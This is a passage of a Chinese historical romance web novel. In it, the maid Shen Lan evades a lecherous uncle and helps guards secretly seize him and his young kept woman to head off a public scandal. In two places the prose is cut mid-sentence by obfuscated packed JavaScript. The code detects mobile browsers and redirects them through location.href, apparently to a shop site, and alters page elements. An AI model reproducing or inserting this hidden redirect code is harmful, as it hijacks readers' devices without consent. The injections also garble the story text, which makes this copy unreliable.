见她扬眉浅笑，似春日新桃般娇艳可人，凑近了似能嗅到滟滟香雾，幽幽冽冽，清雅绝伦。裴延一时间色授魂与，心旌摇曳，忍不住伸手去抚摸她洁白细腻的一双柔荑。 沈澜强忍着恶心，垂首羞羞怯怯道：“四老爷，光天化日的，奴婢怕。” “怕什么？”裴延柔声哄她：“这府里能管我的只有老太太，老太太最是疼我。我将你讨来可好？” 沈澜一惊，心中郁郁发沉，最糟糕的事情发生了。他若向裴慎索要她，谁知道裴慎会不会给？ 沈澜银牙紧咬，只怯怯道：“四老爷，我虽是个奴婢，却也是正经人家，可不愿没名没分的跟了你。” 裴延暗笑，小丫鬟真是想攀高枝想疯了，也不看看自己是个什么货色。还以为什么阿猫阿狗都能给他做妾。 只不过现在嘛，哄哄她倒也无妨。 裴延捋美髯，只摆出一副正经读书人的肃然样子，嘴上却低声道：“我自然是要纳你做妾的，以后我日日来你房中，保管叫你尝尽人间极乐事，独步风流第一科。” 沈澜恨不得砸烂这张色欲熏心的脸，却只笑盈盈道：“那便谢过郎君了。”郎君二字，仿佛在朱唇榴齿间辗转，带出了几分香艳的暧昧。 裴延更为急色，忙道：“走走走！我明日便向守恂去讨你。” 沈澜一把拉住他：“不可！叔叔去侄子房里讨丫鬟太过难听，倒不如我自己去向爷请辞，先去了老祖宗那里，过段时间郎君让老祖宗把我赐给你便是了。” “好好好！这个办法好！”裴延连连点头。 见他信了，沈澜松了口气。如今只要糊弄过去便好，届时她每日跟紧裴慎，或是只待在院子里不出来，再熬几个月就走了。 “那我便先走了。”沈澜提步欲走，却被裴延一把拉住袖子。 “等等，你既如此心慕我，倒不如今日先从我一回？说着，便要去拽她腰带。 沈澜这才意识到，裴延也不是傻子，他分明是怕自己哄他，走了便一去不回。 沈澜咬咬牙，斥道：“你在这里做什么！旁边便有假山石。去假山石里！” 裴延一惊，又难免有几分得色。这丫鬟竟真爱慕他，愿与他当个野鸳鸯。 沈澜慢慢转身，一步步往假山去。再拖一会儿，兰香便要找过来了，就算此事闹大也顾不得了。 她走得极慢，仿佛有些羞涩，怯怯道：“郎君，我们非要在此地吗？” 裴延不回答，只急急催促：“你怎么走的这么慢？”说着，又色熏熏道：“可要老爷抱你？” 沈澜与他虚与委蛇已经够恶心了，这会儿又惊又怒，只恨不得挖了他眼睛。 正当她想要开口拖延时，远处传来兰香喜悦声：“沁芳姐姐，沁芳姐姐，我找到香囊了。” 裴延脸色一变，沈澜已经高声应声道：“找到了便好。”说着，她急急转身离去，竟是看也不看裴延一眼。 裴延这才意识到，他被骗了！！勃然大怒的裴延意欲发作，却发现沁芳已快步跑远了。 就在沈澜和兰香寻回香囊，意欲返回存厚堂之时，存厚堂内，裴慎躺在楠木螺铀飘檐拔步床上，枕着素丝枕，略盖上一角墨色山水遍地锦被，胸口衣襟半散，酣然好眠。 一旁伺候的念春见裴慎睡得沉，便于床檐悬上蔷薇香球，抚下天青素纱帐上玉钩，轻声道：“爷睡沉了，出去吧。” 素秋和清冬对视一眼，“念春姐姐，一同走吧。” 念春冷哼一声，摔了门帘便走了。素秋和清冬也跟在后面出去。 此时博山炉里青桂香烟气袅袅。案头甜白蒲槌瓶内斜插着一支翠滴欲流的竹枝，日光透过半开的菱窗格洒进来，重叠明灭间，室内安静地只有裴慎绵长的呼吸声。 过了一会儿，忽有人掀开帘子进来，柔声唤道：“爷，我煮了碗解酒汤，爷起来喝一碗吧。” 裴慎只酣然好眠，兀自沉睡。 来的是清冬，她生得俏，正是十八好年华。只见她端起一只淡描青花缠枝花瓷碗，坐在榻边，柔柔怯怯地伸手将瓷碗递过去。 裴慎习武，在山西的那些年日日都有蒙古兵来犯，便是连睡觉都得留出三分警醒。这会儿隐隐见有人孤身立于榻前，心想他房中除了沁芳哪有女子？可沁芳从不戴首饰。 他因酒意正神思混沌，清冬见裴慎还未醒，便柔声道：“爷，奴婢为您宽衣。”说着，一双柔荑便抚上了裴慎胸口衣襟。 裴慎骤然惊醒，眼见一个不认识的女子立在床榻前望着他，他惊怒之下，一记窝心脚踹了过去。 裴慎常年习武，清冬不过是个弱女子，哪里挨的住他一脚，霎时便呕出一口血来，疼晕过去。 “沁芳呢？”裴慎怫然不悦，“怎么管的丫鬟，滚进来跪着！” 沈澜刚回存厚堂，只听见内室传来裴慎的声音，劈头盖脸便是一句跪下。 沈澜不知发生了何事，只面带茫然，心有戚戚。为什么刚逃过一劫，如今回来竟还要挨骂？为什么被裴延欺凌却不能狠狠扇他一巴掌？为什么莫名其妙要她下跪？ ……她过得好好的，又为什么要被送来这里？ 沈澜深呼吸一口气，咽下满腹为什么。再忍一忍，已忍了三年，不差这几个月。 沈澜原想问问怎么了，却又知道裴慎最痛恨旁人辩解，不说还好，一说恐怕今日没法善了。 她面色冷淡地掀开帘子，走进正堂，挺直脊背跪了下来。膝盖磕在冰冷的地面上，“咚”的一声，叫人心里一颤。 裴慎原本是一时气急加上酒后脑袋发懵，这会儿终于想起来她入府才半天，连清冬叫什么都未必知道，哪里管的到她头上。 他见沁芳平静地跪着，一时间讪讪道：“起来吧。” 跟谁过不去都别跟自己身体过不去，沈澜顺势起身。 她进来的时候看了眼躺在地上昏沉不知的女子、碎了一地的瓷碗、泼在地上的汤药便知道发生了什么，裴慎虽喜怒不定，但鲜少如此动怒。只是戎马数年，最忌讳陌生人孤身站在他榻前。 院中有这么多丫鬟，按理服侍裴慎必定是三四个丫鬟一起的，她哪里料到竟有人胆敢在裴慎熟睡之际，独自一人去摸裴慎胸膛心脏。 沈澜暗自叹气，只低头恭敬道：“爷，打死奴婢到底对官声不好，不如请个大夫来给她看看。”这姑娘躺在这里煞是可怜。 怕他犹在生气，届时迁怒，沈澜低声道：“爷，醒酒汤已洒了，不若服几颗衣梅，拿各色药材制成，裹了薄荷、橘叶，生津润肺，最是解酒。” 裴慎点了点头，嚼了几颗衣梅，心中顺气，只冷冷一瞥清冬：“治好之后送去庄子上。” 沈澜心生叹息，喊来健妇将她抬走，又命小丫鬟去请一个擅长治内伤的大夫。 裴慎见状，便将念春等其余三个一等丫鬟叫进来，吩咐道：“你们三个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375398|200076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁是领头的？” 念春素来知道清冬看似温文不说话，实则心中有成算，否则也不敢挤开她去搀扶裴慎，又开口排挤她，却也没料到清冬竟敢干出这种事。 此刻，她被清冬的下场唬了一跳，噤若寒蝉，只强撑道：“奴婢念春，是四人中年纪最大的，素日里负责银钱往来。” 裴慎瞥她一眼道：“既管不好底下的丫鬟，便不必管了，将院子里的库房钥匙、账本对牌都交给沁芳。” 念春骤然被他这么一说，眼泪都在眼眶里打转。 沈澜又想叹气了。她再过几个月便要出府，不交接工作就不错了，哪里还能接手新工作呢？只是沈澜也不好忤逆裴慎，便低头不语。 裴慎处理完了此事，突然道：“更衣，我一会儿要出府。” 沈澜自然明白，他刚回京，自要走亲访友，有一大票人要联络交谊。 可她原本打算寸步不离的跟着裴慎，若裴慎这段时间天天出门的话，她便麻烦了。裴延必定会乘着裴慎不在找上门…… 就在沈澜忧思如何解决裴延对她的觊觎之心的时候，傍晚，裴慎赴宴回来了。面色如常，只眼中沉郁，分明是压抑着怒气，如同雷雨前兆，风暴前夕。 沈澜与他朝夕相处三年，一见他那样子暗道不好，下意识想避开，谁知裴慎直接把她喊进去道：“你去找几个人盯着四太太的院子。若四太太要出府，便来告知我。” 沈澜微怔。侄子往自己婶婶院子里安插人，这传出去也太难听了。况且之前还好好的，怎么赴宴回来就这样了？ “是。”沈澜也不想多问，正要告退，裴慎突然道：“你可知道原因？” 沈澜摇摇头。见她不知情，裴慎只摆摆手：“罢了，这些个污糟事你也不必知道，去办便是。” 沈澜低头称是，出门便去找了念春 念春脾性泼辣，刚被剥了管事的权力，故而见了她便没个好脸色，“沁芳姐姐大驾光临，来我这破落地方做甚！” 沈澜不疾不徐道：“我今年十八，再过几个月便要出府。我一走，你勤恳些，大丫鬟的位子还是你的。”其他说什么都是虚的，唯有利益最实在。 果然，念春脸色一缓，将信将疑道：“你说的是真的？” 沈澜点点头，“只是爷如今厌弃了你们三个，若要保住位子，总得做些实事。” 念春犹疑道：“你想让我做什么？” “爷回来的那一天，四太太为何没有出现？”沈澜问道。 闻言，念春嗤笑两声，“她哪有脸面来赴宴！被关在佛堂里抄佛经呢！” 见沈澜迷惑不解，念春解释道：“四老爷最喜依红偎翠，前些日子把个粉头安置在府外做外室，被四太太知道了，喊了几个健妇婆子便打上门去，好巧不巧，堵了个正着。听说那会儿四太太疯了一样的打四老爷，把脸上挖的坑坑洼洼，整条街的人都来看笑话！” 沈澜明白了，裴慎必定是知道了此事，甚至很可能因此被政敌暗讽，怪不得脸色那么难看，仿佛被捉奸的是他自己一样。毕竟作为公府世子，魏国公府的名誉与他息息相关。 偏偏裴慎是做侄子的，不好插手叔父房里的事，便只能暗地里叫她盯着。恐怕林秉忠那头也正盯着四老爷。 沈澜理清了思路，便道：“你是府中的家生子，可否买通四太太院里的洒扫婆子，若四太太要出府，即刻来报。” 念春瞠目结舌。便是府中有再多的阴私，话也说得婉转，哪有像沁芳这样直来直往的，仿佛做生意一般。 “怎么？做不到？”沈澜惊讶道。她之所以找上念春，就因为念春是国公府家生子，而她才来了不到一天。 “你若不行，我自去办了便是。” 念春一时好奇，“你才来半日，连公府里的人都不认识，怎么办？” 沈澜淡淡道：“代爷去四太太院子里送个东西，便能见到扫洒婆子或是专门跑腿的小丫鬟，记下名字，无非是查查她有没有赌钱吃酒的习惯，家中可有人生病需要银钱之类的。再不济，分些糕点给跑腿小丫鬟也就是了。四太太要出府这种事，瞒不住的，我不过是要最快知道罢了，又不是教她们叛主，必有人愿意。” 听她这么说，念春连忙道：“能的能的。有个钱婆子，最是好钱，你又不伤天害理，她自然愿意的。” “即使如此，便劳烦你说和了。”语毕，沈澜犹豫片刻，又问道：“四太太被关在佛堂抄经，四老爷呢？” 念春一时间沉默下来，良久才道：“被老祖宗骂了两句便揭过不提了。” 沈澜只觉自己手心攥得死紧，良久她又问道：“那个外室呢？” 这下念春话更少了，只低头道：“死了。” 16. 第16章 春夏之交，天色瓦蓝如镜，雪团似的云雾絮在碧蓝苍穹上，明净澄澈，碧空如洗。 裴慎前几日拜访座师，联络同年同乡，今日又要与少时玩伴交谊，约上三五好友去了别院春猎。这一去，少说也要两三天。 加上四老爷裴延似忘了她一般，再也没来找她。以至于沈澜无事可做，便借着房中象眼窗格里漏进来的疏疏日光，闲坐读书。 正读到《幽明录》内白龟救人时，忽闻房外有喧哗之声。沈澜蹙眉，掀开帘子出去，恰好与匆匆赶来寻她的念春撞上。 “钱婆子来了。”念春急急道，“这婆子当真昏了头了，这般不晓事，竟挑着正午来，这院子里都是人！”既不能在大庭广众之下禀报四太太行踪，又不好将她引进房中说话，否则四房的扫洒婆子突然来存厚堂，还刻意关上门，傻子都知道有事。 念春又急又气。见状，沈澜只将手中书卷递给她，安抚道：“不必怪她。必定是四太太临时要出府，她只能匆匆前来禀报，哪里能挑时间呢？” 闻言，念春越发急切，只拧着帕子：“四太太出府去做甚？爷也不在，这可如何是好？还是快快去禀报大太太和老祖宗罢！” 沈澜瞥她一眼，被禁足的四太太能出府，大太太和老祖宗不知道吗？必是用了旁的借口，诸如什么探亲、礼佛之类的。 “你愣着做甚！你不去我去！”念春急得转身就走。 “你觉得老祖宗不信四太太说要出府去探亲、礼佛，信你一个丫鬟说四太太出府是为了捉奸？”沈澜慢条斯理问道。 念春一时愕然。 “还是说你想去告诉老祖宗，你窥伺主子行踪？”沈澜又问。 念春便不说话了。 沈澜兀自回身取了个藕色荷包，又往里塞入一两银子，阖上房门，走了几步便见到了有个婆子立在院中，穿着青绿色袄裙，赭色比甲，头上只戴了个?髻，插了根老式的一点油银簪。 见往来丫鬟婆子各司其职，方才还与她说话的念春也不知做甚去了，钱婆子立在院中，一时间竟有些讪讪。 沈澜走上前，翠眉微颦。这钱婆子慌慌张张的，看着便叫人起疑。沈澜笑盈盈道：“钱嬷嬷，可是四太太有吩咐？” 见钱婆子结巴了一会儿也编不出个理由来，沈澜无奈，只拿纤手抚了抚腰间素色络子。 钱嬷嬷连忙道：“非是四太太吩咐，只是听说姑娘是府外来的人，还是扬州人，便想来问问姑娘，可有时新的络子样式？” 沈澜便点点头，替她圆话：“说来上一回爷丢了个香囊，若不是嬷嬷眼尖，那香囊便找不回来了，届时我必定要挨骂。”这便解释了为何钱婆子作为四房扫洒婆子会认识她一个大房丫鬟。 说着，沈澜笑道：“扬州时新的络子有攒心梅花、方胜、九转连环。” 沈澜哪里会打络子，她身上的络子还是在绣庄买的，况且她心中焦急，便引钱婆子到廊下坐下，当着院中来来往往的丫鬟婆子面前，说道：“嬷嬷，这络子不仅有样式上的分别，颜色配起来也有说道。葱绿的络子若配桃红的汗巾子、荷包便俗气了，只因人人都这么配。” 钱婆子一时弄不明白沈澜要做什么，只好奇道：“那该怎么配？” “葱绿颜色浅淡，若配桃红，色太浓，看着便俗气，得拿桃粉来配，这便好看了。”沈澜笑道，“说来上回爷带回来几朵绒花，恰是淡淡的桃粉色。” 沈澜说到这里，驻足微微一怔，过了一会儿只懊恼道：“这几日收拾行李忙晕了头。临行前爷还吩咐我去寻摸一匣子好看的绒花。”众所周知，裴慎此番回来必定要订亲。这绒花赠给谁，不言而喻。 听到的丫鬟眼露艳羡，周围的几个婆子便纷纷笑起来。 说着，沈澜歉意的笑笑：“钱嬷嬷，实在对不住，爷再过一两天便要回来了，这络子的事我过几天再与你讲，可好？” 钱嬷嬷赶紧起身：“差事要紧。” 沈澜便笑着取下腰间荷包，连同那络子一起递给钱嬷嬷：“嬷嬷，你且把这荷包和络子拿回去， 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七八岁的小丫鬟玉雁脆生生应了，提起裙摆就要跑，沈澜却忽而将她叫住，又吩咐道：“罢了，你且叫他在府外备好马车就是，他一个大男人，哪里晓得什么绒花宫花绢花的，保不准还得我去找。马车要寻常，不要显眼。偌大的国公府，寻不出一朵时新的绒花，还得上府外买，没得叫人笑话。” 玉雁点点头，见沈澜挥挥手，便一溜烟的跑远了。 沈澜即刻道：“念春，你带着剩下几个丫鬟速速缝制几个面罩来。取一块细棉布，四四方方能盖住下半张脸的大小即可，四个角各缝上四根带子。缝上几个，一会儿出门要用。” 说罢，还解释道：“出门在外不好露面，春季里风沙大，帷帽还不透气，不若这般面罩来的好使。” 闻言，着急慌忙站在廊下的念春劝道：“寻个绒花罢了，何至于这般大张旗鼓的。若外头没有好绒花可怎么办？”若四太太不是去捉奸的可怎么办？ 沈澜但笑不语。若是虚惊一场，裴慎回来最多说她几句大惊小怪，左右明面上也只是几朵绒花罢了，无人会在意的。 可若四太太真要去捉奸，沈澜阻止不及，那怕是得狠狠吃个挂落，还会影响她在领导心中形象。怎么选择，不言而喻。 17. 第17章 沈澜安抚好念春，只带着兰香，匆匆赶往大太太的院子。 沿存厚堂向东，粉白的游廊一侧无窗，一侧挂着竹帘，廊下栽着数丛修竹新笋，竹帘四垂，竹叶繁茂，衬得天光杳杳，晦晦难明。 前方游廊似已至尽头，沈澜略一拐弯，便行至月洞门前，大片大片的日光从月洞门一跃而出，倏忽之间便朗阔明彻起来。 沈澜满腹心事，原也无心赏景，只是这般山重水复疑无路，柳暗花明又一村的景象，令她不由得赞叹起这国公府设计之精巧。 穿过月洞门，又过了一道垂花门，便来到了大太太的兰雪堂。 大太太年过四十，面有细纹，只梳着鹅胆高髻，衔珠金簪齐插，戴着金镶红宝石珠箍，歪在藕荷色水芙蓉杭绸引枕上，呷着龙团胜雪。 沈澜得了通禀，前来见她，只说得了爷吩咐，要去外头采买些绒花。 她虽是裴慎的丫鬟，可府中内宅之事，俱是大太太管辖，若无大太太允许，沈澜是出不得府的。 闻言，大太太放下宣德窑印花白瓯茶盏，面露不悦：“不过是几朵绒花罢了，去外头买做甚。” 一旁有个丫鬟凑趣道：“听说沁芳姐姐不是家生子，许是不知道国公府养了好几十个绣娘罢。” 能在内室伺候的丫鬟都是玲珑心肝，见大太太不曾阻止，便纷纷出言，一个说“来日带沁芳姐姐见见绣娘”，一个说“沁芳姐姐不知道，宫里有绒花赐下，外头的有什么好稀罕的？” 字字句句绵里藏针，沈澜心中叹息。这些人不认识她，也并无恶意，不过是会了大太太的意，要赏她一个下马威罢了。只是不明白她何时得罪了大太太。 “太太，爷临行前特意叮嘱我，只说要最时新的苏样。”沈澜垂首恭顺道。苏州时新货，既不是宫里赏的，也不是府内绣娘们自己绣的。 大太太点头道：“你不是京都本地人，初来乍到，哪里知道京里有哪些好铺子呢？且叫翠微与你一同去罢。”说罢，便招招手，唤来身侧一个碧青襦裙，素色比甲的丫鬟。 又道：“待选完了绒花，便收拾收拾，且去存厚堂伺候慎哥罢。” 翠微生得俏，羞羞怯怯屈膝行礼：“是”。周围年轻的丫鬟们一阵艳羡。 沈澜心中恍然，这翠微是来补位清冬的，那么大太太看她不顺眼，恐怕就是因为清冬了。 裴慎积年在外，院子里的丫鬟多半是大太太挑的。谁知裴慎刚回来，清冬便被发配去了庄子上。大太太不会觉得自己挑的丫鬟不好，也不会觉得裴慎不好，思来想去，必是她这个外来的，跟着裴慎四处上任的丫鬟私下里挑拨。 沈澜暗叹倒霉，又找不出理由拒绝，况且她何必拒绝惹怒了大太太呢？左右院子里多的是丫鬟婆子，多一个不多，少一个不少，随她去罢。 唯一的麻烦是她不能带着翠微出府，又不是真要去买什么绒花。 “是。”沈澜先行应下，只带着翠微往外走。 出了兰雪堂，行至廊中，见四下无人，沈澜才道：“翠微，你先去存厚堂寻念春可好？” 翠微惊诧，摇了摇头：“大太太叫我与你一同去买绒花。” 沈澜无奈，编了个理由：“爷或许再过半天便要回来了，凑一盒时新绒花必要东奔西跑，汗流浃背，衣衫不整地去见爷，反倒不美。况且爷回来了，得知我还未买好，届时或许还累得你挨骂。” 翠微固执的摇摇头：“大太太吩咐我与你同去。”她伺候大太太，便听大太太的吩咐。哪里敢违逆呢？ 沈澜蹙眉，她来来回回的，已是一刻钟过去，林秉忠还在府外等，若与翠微再磨缠下去，恐怕四太太那头要来不及了。 “既是如此，走罢。”左右翠微是存厚堂的人了，也不敢将今日之事说出去。 沈澜提着个细布包袱，匆匆带着翠微从东侧小角门出了国公府。府外已停了辆双轮骡车，无描金黑漆，锦缎雕篆，唯素布清漆，毫不起眼，如同平常人家出行。 沈澜带着翠微上了骡车，车夫李六扬鞭，骡车便哒哒地动起来。 车内两人静坐无言，骡车行了一会儿，翠微忍不住道：“若要买绒花，当去朱雀街的露香园，或是德耀街的青碧斋，拙园的也极好。你打算去哪儿？” 沈澜只从袖中取出口罩系好，又递给翠微另一个，低声道：“先戴上，今日出来有事，你莫要多问。” 翠微一惊：“你不是来买绒花的！”语毕，她高呼：“你竟敢骗大太太？！” 沈澜正要解释，骡车倏忽停下。守在杏花胡同不远处，等得心焦的林秉忠一看见骡车过来，即刻飞奔上前，掀开帘子，脱口而出：“你可算是来了！” “急什么，上来罢。”沈澜道。 林秉忠四下打量，无人。便带着身后两人进了车厢。 翠微脸色一变：“你叫他们上来做甚！”她一个黄花大闺女，跟三个男人挤在一个密闭车厢里，传出去哪有清誉可言？！ 林秉忠也奇道，此人不是爷身边的丫鬟，怎会在沁芳身旁？ 沈澜只以为她骤然见三个男人上车，心中害怕，便安慰道：“翠微，他们是爷的护卫，不会伤害你，莫怕。只是他们若不进车厢，守在车外太引人注目。”普通百姓，或许稍稍富裕些，却也雇不起三个壮年护院。 翠微性子执拗，极守原则，见沈澜欺瞒大太太，心中已是不满，再见她这般轻浮，越发不忿，只柳眉倒竖，言辞如刀，“我魏国公府若要做什么，堂堂正正去做便是！这京都地界，谁敢多嘴？你从外头学来的鬼祟行径，莫带来国公府！” 林秉忠碍于男女大防，和身后俩人一起低头，没敢多看，听了翠微这话，心中略有几分不平。 他们从前在外头东奔西跑日日忙碌，爷素日里只赏赐财货，其余小事并不在意。沁芳来了之后一年四季发放衣衫、药材，每年请一次大夫把平安脉。林林总总，虽是以爷的名义，可众人也承沁芳的情。 林秉忠只低头道：“翠微姑娘慎言。” 翠微不理他，连声高呼：“停车！停车！” 车夫没动，骡车继续往前走。 “阿六，劳您快着些。”沈澜嘱咐道。 “得嘞！”车夫一扬鞭，青骡走的更快了。 翠微又急又气：“你、你……我告诉太太去！！” 沈澜学她的语调，慢悠悠道：“我告诉爷去。” 林秉忠骤然笑出了声。其余两人年纪也不过十七八，顿时一声闷笑。 翠微脸色涨红，她在兰雪堂也是有脸面的丫鬟，从未吃过此等闷亏。今日被人逼到这份上，着实生气，只一叠声道：“你莫搬出爷来压我。爷成婚娶妻，新夫人一来，哪里还有你好日子过？我倒要看看，你一个外来户还能骄横到几时！” 沈澜尚未说话，林秉忠脸色已格外难看，斥了一句，“翠微姑娘，爷的婚事不是你能置喙的。” 翠微脸一白，惊觉失言，如何敢妄议主子。便不说话了，只暗下决心，沁芳胆敢欺瞒大太太，又行鬼祟事败坏国公府声名，还与男子私自往来轻浮浪荡，必要去大太太那里告她一状。 见翠微不语，沈澜便道：“情况如何？” 林秉忠急急道：“前面便是杏花胡同，正是那外室所在。此人名唤玉容，原是行院里的姑娘，后被四老爷赎身，安置在杏花胡同第三座院子里，乌木门的那座。” 沈澜又问道：“四太太那里你可绊住了？” “已派人毁了四太太马车车轮，若要修好，少说还要一刻钟。” “不错。”沈澜称赞道。闻言，林秉忠苦笑：“哪里不错？若不是你派人提醒我，说要给四太太送绒花，我只怕要等四太太到了那外室门口才知道。” 他叹了口气，忧心忡忡：“希望能赶上罢。”这要让四太太再闹一次，全京城都得看魏国公府的笑话，梅开二度，爷非得活剐了他不可。 沈澜点头道：“且安心。”说罢，从袖中取出几个粗粗缝制的口罩，“叫大家都戴上。” 林秉忠接过来，不过是一块四四方方的棉布上四个角各缝了一根带子。他感叹道：“这玩意儿戴上了，当真形同匪寇。” 沈澜解释道，“到底是要进人宅院的，遮掩些为妙。”其实是她自己出门后为了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375400|200076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遮掩过盛的容貌，防止惹出祸事来。 “况且此事来得太急，你们匆匆换去了亲卫服，恐怕来不及带粗布覆面。” 来的都是裴慎的亲兵，算上车夫，一共四个男人，衣服都是府里发，外头买，哪里来的碎布料遮面？若叫他们自己去找，多半是从衣服上撕下一块。好端端的衣服，毁了可惜。 林秉忠暗道沁芳姑娘果真心细如发：“我们只要四个便够了，剩下的还给姑娘。” 沈澜摇摇头，“剩下的你们收着，届时进了门，塞进那些人嘴里，防止他们闹出声来。” 林秉忠服气地点点头。若叫他们上战场杀敌分毫不惧，只是处理起此等弯弯绕绕的阴私之事来，重了怕惹爷不快，轻了怕办事不力，着实没了头脑。 “麻绳都带了吗？”沈澜问道。 林秉忠：“带了。棍子、麻袋也带了，还有伤药。” “好。”沈澜点点头。 谈话之间，骡车停在了杏花胡同口。杏花胡同以巷口杏花树得名。树龄已十余年，树大根深，枝丫繁茂，绿荫蔽日，冠盖如林。 树下有三两小童斗蚁，剪去蚁上双须，令两蚁相斗，呼呼喝喝，加油鼓劲，只玩得满头大汗。还有几个老迈妇人一面缝补衣裳，一面闲坐磕牙，眼看有不曾见过的骡车来，即刻好奇招呼道：“你们是哪个？来此做甚？！” 沈澜隔着帘子朗声道：“此地可是杏花胡同？我来探望家姐。” “是哩是哩。”妇人道：“你阿姐是哪家？” “说是杏花胡同乌木门的那家。” 妇人恍然大悟，“嗐，你往里走，第三户人家便是了。” “多谢这位嫂子了。” 骡车继续往里走，留下一众好奇的妇孺张望着，依稀还能听见几个妇人谈论声。 这杏花巷巷子窄，一辆骡车带上车厢便能堵得严严实实。此刻骡车停在门口，巷口的妇孺们往巷子里望，只能看见车厢尾。 到了乌木门口，沈澜下了车，“咄咄咄”敲门三声。 “谁啊？”门内隐隐传来说话声。 沈澜高声道：“是我，阿姐你可在家？” 阿姐？门内丫鬟开了门，见眼前人着细布衣衫，戴着个怪模怪样的面罩，只疑惑道：“你是哪个？” 沈澜微笑：“你家姑娘可在？”丫鬟脸色大变，即刻就想阖门。 可她哪里快的过林秉忠，对方早在开门时就站在墙边，此刻一把捂住那丫鬟的嘴。剩下两人即刻进门，直冲内室。 沈澜慢悠悠地往里走。 “啊——你们是谁？！” “檀郎救我！” “你们是哪里来的？！我是魏国公府……唔唔……” 正房里，俩人已将四老爷、玉容姑娘堵住嘴，捆成了两个粽子。 春夏季衣裳薄，俩人俱衣衫不整。四老爷葡萄紫潞绸里衣半敞，露出了白肚皮，茄花色膝裤松松散散。玉容姑娘亦是鬓斜钗横，衣襟散乱，露出了鹅黄鸳鸯戏水杭缎抹胸。大片大片的雪白肌肤横亘在眼前，看的逮人的两名亲卫面红耳赤，手都不知道往哪里摆了。 “哎呀，你们怎么把四老爷捆成这样？”跟在沈澜身后进来的翠微惊呼，“还不快快解开。” 此话一出，地上的四老爷顿时唔唔地挣扎起来，一旁的玉容姑娘也激动起来。 沈澜扫了翠微一眼，只说道：“套进麻袋！即刻就走！” 匆匆将室内恢复成原样，又阖上乌木门，林秉忠带着剩下的俩人，将四老爷、玉容、丫鬟统统塞进骡车，众人拥挤着上了车。 行到胡同口，沈澜便高声道：“多谢方才那位嫂子了，我们找错人了。不是杏花胡同，是槐花胡同。” 那妇人正与众人站在巷口看稀奇，闻言，摆摆手道，“找错人了？槐花胡同还得过去几条街呢！” 沈澜谢过她，骡车晃晃悠悠地继续走。恰在此时，另一辆雕花饰锦，红缨缀玉，旁有七八个健妇围绕的四轮马车也到了杏花胡同。 两车相遇，骡车避让，停了一会儿，见马车匆匆而过，骡车这才继续慢悠悠的动起来。 18. 第18章 车厢长宽不过四尺，颇为狭窄，众人难免肩挨肩，踵接踵。翠微碍于男女大防，膝盖拼命往里缩。林秉忠带着两个亲兵不敢看女眷，只能低着头，为了节省空间又只能半蹲着。车上三个麻袋侧身叠在一起，勉力挣扎，姿势别扭。 沈澜抱膝而坐，竭力缩在一角，只她态度舒展大方，神色颇为平静。 索性这样的拥挤很快就结束了。 “林头儿，沁芳姑娘，到了。”车夫将骡车赶进了一栋两进小宅里。 这栋宅子是裴慎私宅，专用来安置亲兵，处理私事。 林秉忠跳下车，有个亲卫即刻迎上来，抱拳行礼：“林头儿，你让我盯着的马车在乌木门口停了一会儿，没闹出什么大动静，又离开了杏花胡同。” 林秉忠摆摆手。四太太现在去那里，什么人都找不到，没办法捉奸在床，就只能回来。今儿这事算是解决了。 “多谢沁芳姑娘。”林秉忠拱手答谢，“这釜底抽薪用得极妙。” 一心要捉奸的四太太是无论如何都拦不住的，要让四太太回府，只能釜底抽薪，让她无奸可捉。 沈澜提着包袱下了车，微微垂首道：“你若真要谢我，便去寻个单间。将三人分开关押。” “爷明日就回来了。四老爷今晚不回去，会不会……”林秉忠有些担忧。 沈澜摇摇头：“不会的。四老爷在秦淮河畔倚红偎翠，彻夜不归也是常有的事。” “那便好。”林秉忠派人寻了三个单间，分开将三人扔了进去。 “沁芳姑娘，天色将晚，不若我送你回去。”林秉忠道。 沈澜摇摇头，“多谢你了，但我想先去看看那名女子。” 林秉忠愣神片刻，连忙道：“我带姑娘去吧。” “不必。”沈澜轻声道：“你在这里看好翠微，别让她乱走动乱说话。” 说着，沈澜带着包袱，踏进了玉容所在的单间。门被锁着，窗户也都被钉死。日影斜斜，日光疏疏，透过窗上七零八落的木板缝隙钻进来，明明灭灭的映在床榻上。 沈澜进来时，玉容已被人从麻袋里放出来，双手双脚被缚，嘴里塞着棉布，只躺在榻上怔怔落泪。 她很漂亮，鹅蛋脸，皮肤光洁细腻有弹性，杏仁眼睁大了显得滚圆，泛着青春干净的美。沈澜猜测，她大概也就十四五岁。 四老爷今年已经四十有二了，女儿比她还大几岁。 大概是觉得自己被强人所掳，即将横死，见沈澜进来，她拼命挣扎起来，双手被粗粝的麻绳摩擦，泪珠从眼角滚落。 且她原本就衣衫不整，这一路颠簸，连抹胸都快散开大半。剧烈挣扎之下，顿时露出了半片雪白的胸脯。 沈澜闷声不吭地打开了包袱。 玉容挣扎的越发厉害，唔唔乱喊，手腕被麻绳磨破皮，眼中惊恐交加，泪水汹汹而下，生怕沈澜拿出一根白绫将她吊死。 包袱打开来，是一套干净的女式衣衫。豆青抹胸，素白中单，沉绿团衫，葱白襦裙，藕合比甲，一应俱全。 玉容微怔，挣扎渐缓，眼泪却一下子落得更凶。 沈澜替她系好抹胸，换上干净的里衣、外衫、袄裙，比甲。 玉容已满面泪痕。 “对不住，方才时间太赶，来不及给你换衣服，叫你难过了。”沈澜说着说着心中酸涩，只觉自己像是鳄鱼的眼泪。 